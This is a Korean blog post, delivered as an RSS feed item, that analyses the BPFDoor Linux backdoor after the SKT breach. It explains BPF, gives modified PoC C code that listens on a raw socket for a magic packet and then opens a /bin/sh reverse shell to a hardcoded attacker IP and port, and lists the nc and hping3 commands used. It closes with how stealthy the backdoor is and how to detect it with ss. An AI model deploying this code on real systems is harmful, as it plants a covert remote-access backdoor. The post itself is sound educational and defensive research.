<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>no_guarder.log</title>
        <link>https://velog.io/</link>
        <description>1. 무슨 일을 반복되게 행하는 걸 말함 2. 힘들고 고된일을 흔히 지칭함</description>
        <lastBuildDate>Sun, 27 Apr 2025 04:50:42 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>no_guarder.log</title>
            <url>https://velog.velcdn.com/images/no_guarder/profile/2efbf875-b1af-4a90-96b6-81e47fde4797/image.jpeg</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. no_guarder.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/no_guarder" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[BPFDoor: raw socket으로 리버스쉘을?]]></title>
            <link>https://velog.io/@no_guarder/BPFDoor</link>
            <guid>https://velog.io/@no_guarder/BPFDoor</guid>
            <pubDate>Sun, 27 Apr 2025 04:50:42 GMT</pubDate>
            <description><![CDATA[<h1 id="1-서론">1. 서론</h1>
<p>최근 SKT 해킹 사고로 리눅스 기반 고급 백도어 <strong>BPFDoor</strong>가 주목받고 있다.<br>언뜻 보면 탐지가 거의 불가능할 것 같은 초은닉 악성코드처럼 보이나, 공개된 분석 리포트 및 PoC 코드 샘플 등을 살펴본 결과, <strong>완전히 새로운 형태의 위협은 아니며</strong> 탐지 및 대응이 충분히 가능한 것으로 판단된다. </p>
<p>또한 커널레벨에서 은닉하는 탓에 약간의 오해를 불러일으키는 부분이 있어서 이 글에서는 <del>BPFDoor의 구조와 동작 원리를 실습과 함께 정리한다.</del> raw socket과 은닉성에 대해 알아본다.</p>
<hr>
<h1 id="2-bpf란-무엇인가">2. BPF란 무엇인가</h1>
<ul>
<li><strong>Berkeley Packet Filter(BPF)</strong>: 커널 레벨에서 네트워크 패킷을 고속으로 필터링하기 위해 1992년 UC Berkeley에서 개발</li>
<li>원래는 <strong>tcpdump</strong>, <strong>wireshark</strong> 등의 트래픽 캡처 최적화를 위해 만들어짐</li>
<li>최근에는 <strong>eBPF</strong>로 확장되어, 시스템 트레이싱, 보안 모니터링까지 활용 범위 확대</li>
</ul>
<p><strong>예시:</strong> <code>tcpdump</code>에서 BPF 필터를 적용해 특정 트래픽만 수집하는 방식 확인 가능</p>
<pre><code class="language-bash">sudo tcpdump -i eth0 port 80 -d</code></pre>
<hr>
<h1 id="3-bpfdoor란-무엇인가">3. BPFDoor란 무엇인가</h1>
<ul>
<li>리눅스 시스템을 타깃으로 하는 고급 백도어</li>
<li>주요 특징:<ul>
<li>포트리스닝 없이 명령 수신 (Raw socket + BPF 필터 활용)</li>
<li>매직 패킷 기반 트리거 방식</li>
<li>파일/프로세스명 위장 (예: <code>kworker</code>, <code>rsyslogd</code>)</li>
<li>설치 경로 은닉 (<code>/usr/lib</code>, <code>/tmp</code> 등)</li>
</ul>
</li>
<li>매직 패킷 수신 이후에는 평범한 TCP 리버스쉘 연결 (실제로는 페이로드 난독화가 들어가겠죠)</li>
</ul>
<hr>
<h1 id="4-poc-실습">4. PoC 실습</h1>
<p>실제 공격에 사용된 C2 인프라 수준의 BPFDoor가 아니라 단순한 기능 테스트 정도로 실습</p>
<p><strong>GitHub PoC 사용:</strong> <a href="https://github.com/gwillgues/BPFDoor">gwillgues/BPFDoor</a></p>
<p><strong>수정 사항:</strong></p>
<ul>
<li>매직 패킷 수신 후 리버스쉘 연결 기능 추가</li>
<li>이더넷/IP/TCP 헤더 54바이트 스킵 후 Payload에서 매직 문자열 검색</li>
</ul>
<p><strong>수정된 코드:</strong></p>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;string.h&gt;
#include &lt;arpa/inet.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;netinet/ip.h&gt;
#include &lt;netinet/tcp.h&gt;
#include &lt;linux/if_packet.h&gt;
#include &lt;net/ethernet.h&gt;
#include &lt;linux/filter.h&gt;
#include &lt;sys/ioctl.h&gt;
#include &lt;net/if.h&gt;

#define INTERFACE &quot;ens33&quot;
#define ATTACKER_IP &quot;192.168.73.152&quot;
#define ATTACKER_PORT 4444

// 매직 패킷 시그니처
#define MAGIC &quot;MAGIC&quot;

void spawn_reverse_shell(const char* attacker_ip, int attacker_port) {
    int sockfd;
    struct sockaddr_in attacker_addr;

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd &lt; 0) {
        perror(&quot;socket&quot;);
        exit(1);
    }

    memset(&amp;attacker_addr, 0, sizeof(attacker_addr));
    attacker_addr.sin_family = AF_INET;
    attacker_addr.sin_port = htons(attacker_port);
    attacker_addr.sin_addr.s_addr = inet_addr(attacker_ip);

    if (connect(sockfd, (struct sockaddr *)&amp;attacker_addr, sizeof(attacker_addr)) &lt; 0) {
        perror(&quot;connect&quot;);
        exit(1);
    }

    dup2(sockfd, 0);
    dup2(sockfd, 1);
    dup2(sockfd, 2);

    char *const argv[] = {&quot;/bin/sh&quot;, NULL};
    execve(&quot;/bin/sh&quot;, argv, NULL);
}

int is_magic_packet(unsigned char *buffer, int size) {
    if (size &lt; 54) return 0; // 14(Ethernet) + 20(IP) + 20(TCP) 대략 예상
    unsigned char *payload = buffer + 54; // 헤더 54바이트 스킵
    int payload_size = size - 54;
    if (payload_size &lt; strlen(MAGIC)) return 0;
    if (memcmp(payload, MAGIC, strlen(MAGIC)) == 0) return 1;
    return 0;
}

int main() {
    int sock;
    struct ifreq ifr;
    struct sockaddr_ll sll;
    unsigned char buffer[2048];

    sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sock &lt; 0) {
        perror(&quot;socket&quot;);
        exit(1);
    }

    strncpy(ifr.ifr_name, INTERFACE, IFNAMSIZ - 1);
    if (ioctl(sock, SIOCGIFINDEX, &amp;ifr) &lt; 0) {
        perror(&quot;ioctl&quot;);
        close(sock);
        exit(1);
    }

    memset(&amp;sll, 0, sizeof(sll));
    sll.sll_family = AF_PACKET;
    sll.sll_ifindex = ifr.ifr_ifindex;
    sll.sll_protocol = htons(ETH_P_ALL);

    if (bind(sock, (struct sockaddr *)&amp;sll, sizeof(sll)) &lt; 0) {
        perror(&quot;bind&quot;);
        close(sock);
        exit(1);
    }

    printf(&quot;[+] Listening on %s for magic packet...\n&quot;, INTERFACE);

    while (1) {
        ssize_t packet_size = recvfrom(sock, buffer, sizeof(buffer), 0, NULL, NULL);
        if (packet_size &gt; 0) {
            if (is_magic_packet(buffer, packet_size)) {
                printf(&quot;[+] Magic packet received! Spawning reverse shell...\n&quot;);
                spawn_reverse_shell(ATTACKER_IP, ATTACKER_PORT);
                break; // 리버스쉘 종료 후 루프 탈출
            }
        }
    }

    close(sock);
    return 0;
}

</code></pre>
<p><strong>동작 흐름:</strong></p>
<pre><code class="language-plaintext">┌──────────────────────────────────────────────────┐
            타겟 머신 (bpfdoor_revshell 감염)           

 1. Raw Socket 생성                               

 2. 패킷 수신 (recvfrom())                         
    (모든 패킷을 수신하는 상태)          
└──────────────────────────────────────────────────┘    
                        │
                        ▼
┌──────────────────────────────────────────────────┐
             공격자 머신 (1.1.1.1)                   

 1. nc -lvp 4444 (리버스쉘 포트 리스닝)                           

 2. hping3 -E magic.txt -d 5 -p 12345 TARGET_IP   
    (Payload에 &quot;MAGIC&quot; 문자열 삽입해서 패킷 전송)        
└──────────────────────────────────────────────────┘
                        │
                        ▼
┌──────────────────────────────────────────────────┐
            타겟 머신 (bpfdoor_revshell 감염)      

1. Ethernet/IP/TCP 헤더 54바이트 스킵             

2. Payload 영역 검사                             
    └── &quot;MAGIC&quot; 문자열이 발견되면                  

3. spawn_reverse_shell() 호출                    
    └── 공격자(1.1.1.1:4444)로 리버스쉘 연결       
└──────────────────────────────────────────────────┘
                        │
                        ▼
┌──────────────────────────────────────────────────┐
             공격자 머신 (1.1.1.1)                                   

 1. 리버스쉘 획득 (/bin/sh)                    
 2. 명령어 실행 가능              
└──────────────────────────────────────────────────┘
</code></pre>
<p><strong>실제 결과:</strong></p>
<img src="https://velog.velcdn.com/images/no_guarder/post/6eeafe50-8bca-445a-b390-22db42aee89b/image.png" style="margin: 0; padding: 0; display: inline-block;">
<img src="https://velog.velcdn.com/images/no_guarder/post/7ddb3f46-2f9b-4de1-9f7e-c4cc1b51ca3e/image.png" style="margin: 0; padding: 0; display: inline-block;">
<img src="https://velog.velcdn.com/images/no_guarder/post/4d4c0d03-d68f-4d2e-9277-466975a1f380/image.png" style="margin: 0; padding: 0; display: inline-block;">


<hr>
<h1 id="5-과거-bpfdoor의-은닉성-분석">5. (과거) BPFDoor의 은닉성 분석</h1>
<p>내가 궁금했던 부분은 BPFDoor의 은닉성이었다. BPFDoor의 핵심은 TCP를 이용한 일반적인 백도어 포트 바인딩이 아닌 커널레벨에서 raw socket을 사용한다는 것인데, 이 “사용한다”의 의미가 애매모호했다.</p>
<p>처음 들었을 때는 “raw socket으로 리버스쉘을 연결한다는건가? 그게 어떻게 가능하지?” 라고 생각했는데, 그게 아니었다. raw socket을 통한 은닉은 리버스쉘 연결 전 대기상태까지를 의미한다.</p>
<h2 id="bpfdoor-은닉성에-대한-정확한-해석-자료-발췌">BPFDoor 은닉성에 대한 정확한 해석 (자료 발췌)</h2>
<ul>
<li>Elastic Security (2022)    &quot;The backdoor opens a simple TCP connection to the controller, with no encryption or additional obfuscation.&quot;</li>
<li>PwC Threat Intelligence (2021)    &quot;After packet filtering, the tool establishes an unencrypted shell via TCP.&quot;</li>
<li>Trend Micro Analysis (2025)    &quot;BPFDoor opens a reverse shell connection without using SSL/TLS or HTTP obfuscation.&quot;</li>
</ul>
<p>모든 공식 분석 결과가 &#39;plain TCP connection&#39;, &#39;unencrypted&#39;, &#39;no obfuscation&#39; 라고 명시하고 있다. 
공개된 샘플상에도 리버스쉘 수립 단계에서 SSL/TLS 라이브러리 호출, Base64 encoding, HTTP wrapping 같은 추가 레이어가 전혀 없다.</p>
<p>지금까지 공개된 BPFDoor 관련 기술 분석 및 실제 샘플 행위 분석 기준으로, 리버스쉘 연결에 추가 은닉 기술을 사용하지 않았다.</p>
<h2 id="bpfdoor-은닉성에-대한-결론">BPFDoor 은닉성에 대한 결론</h2>
<ul>
<li>트리거 대기 상태 (은닉성 매우 높음)<ul>
<li>raw socket(AF_PACKET) 사용</li>
<li>netstat, ss, lsof로 탐지 불가</li>
<li>매직 패킷 없으면 패시브 대기</li>
</ul>
</li>
</ul>
<ul>
<li>리버스쉘 연결 이후 (은닉성 낮음)<ul>
<li>일반 TCP 연결 (표준 포트 사용)</li>
<li>SSL/TLS 암호화 없음</li>
<li>HTTP/DNS 트래픽 위장 없음</li>
<li>bash 세션 평문 노출</li>
<li>공격자 IP/Port가 하드코딩된 사례 존재</li>
</ul>
</li>
</ul>
<p>그럼 BPFDoor는 왜 리버스쉘에는 난독화를 사용하지 않았을까? 라는 의문이 생기는데, gpt한테 물어보니 이렇게 답변해준다.
<img src="https://velog.velcdn.com/images/no_guarder/post/0bb5340f-7fe1-41e4-af7e-dc290bd7b8f6/image.png" style="margin: 0; padding: 0; display: inline-block;"></p>
<blockquote>
<p>하지만 실제 이번 SKT 해킹에 사용된 공격코드에는 쉘 연결에 SSL 세션을 생성하는 코드가 들어가 있는 것으로 보인다.
당연하지만 전통적인 코발트 스트라이크 계열의 C2 역시 난독화는 기본으로 들어가니까 이 역시 BPFDoor만의 특별한 점은 아니다.</p>
</blockquote>
<hr>
<h1 id="6-비정상적인-raw-socket-탐지-방법">6. 비정상적인 raw socket 탐지 방법</h1>
<ul>
<li>PACKET 소켓 사용하는 이상 프로세스 탐지<ul>
<li>AF_PACKET 소켓은 IP가 아닌 L2 이더넷 프레임을 다루는 raw socket</li>
<li>즉, 이 것은 TCP/IP 스택 위로 올라오기 전의 원시 패킷(raw packet)을 의미</li>
<li>일반적인 상태에서 이 소켓은 나타나지 않음 (tcpdump, wireshark 등이 동작 중일 때 확인 가능)</li>
<li>서버에서 현재 tcpdump, wireshark가 돌고 있거나 netfilter(iptables)가 실시간 참조되는 상황도 아닌데 ss 결과로 packet가 나온다? 그럼 의심해볼 상황</li>
</ul>
</li>
<li>실제 서버에서<code>sudo ss -a -p -A packet</code> 결과 (위 PoC에서 사용한 BFDoor raw socket 열린 상태)<img src="https://velog.velcdn.com/images/no_guarder/post/5f115190-dbbe-4979-8073-a74f6b0fab3e/image.png" style="margin: 0; padding: 0; display: inline-block;">

</li>
</ul>
<blockquote>
<p>하지만 이건 어디까지는 PoC 코드로 실행하거니까 ss로 확인 가능, 실제 리얼월드에서 사용되는 raw socket 트리거 악성코드는 다양한 우회나 은폐 방법으로 일반적인 시스템 관리 명령어로 확인이 어려울 것으로 추정</p>
</blockquote>
<hr>
<h1 id="7-결론">7. 결론</h1>
<p>BPFDoor는 <strong>매직 패킷 트리거 대기 단계</strong>에서 초초초 은닉성을 보여준다. 
우리가 흔히 사용하는 리눅스 유저레벨의 각종 명령과 기능으로는 사실상 탐지가 초초초 어려운 것이 맞겠다. 
하지만 <strong>리버스쉘 연결 이후부터는 기존 리버스쉘 공격과 큰 차이가 없다.</strong> </p>
<p>현재 필드나 각종 커뮤니티에서 이 부분에 대한 오해가 있는 것 같다.
&quot;BPFDoor의 리버스쉘은 TCP 세션을 사용하지 않는대~&quot;</p>
<p>BPFDoor는 리버스쉘을 은닉하는게 아니고 트리거를 은닉한다.
정확히는 raw socket은 매직패킷을 수신 대기하고 있는 상태에서만 해당된다.</p>
<p>리버스쉘 이후 단계는 코발트 스트라이크 계열의 전통적인 C2 인프라와 다를게 없는 것 같다.</p>
<p><strong>요약:</strong></p>
<blockquote>
<p>BPFDoor는 &quot;은닉성이 강화된 고전적 리버스쉘&quot;에 불과하며, 체계적 방어 체계를 갖춘 환경에서는 탐지 및 대응이 충분히 가능하다. (여기서 &quot;충분히&quot;의 의미는 각자 유연하게 해석 바람)</p>
</blockquote>
<hr>
<h1 id="8-레퍼런스">8. 레퍼런스</h1>
<ol>
<li><a href="https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf">https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf</a></li>
<li><a href="https://www.trendmicro.com/ko_kr/research/25/d/bpfdoor-hidden-controller.html">https://www.trendmicro.com/ko_kr/research/25/d/bpfdoor-hidden-controller.html</a></li>
<li><a href="https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor">https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor</a></li>
<li><a href="https://asec.ahnlab.com/ko/83742/">https://asec.ahnlab.com/ko/83742/</a></li>
<li><a href="https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/">https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/</a></li>
</ol>
]]></description>
        </item>
    </channel>
</rss>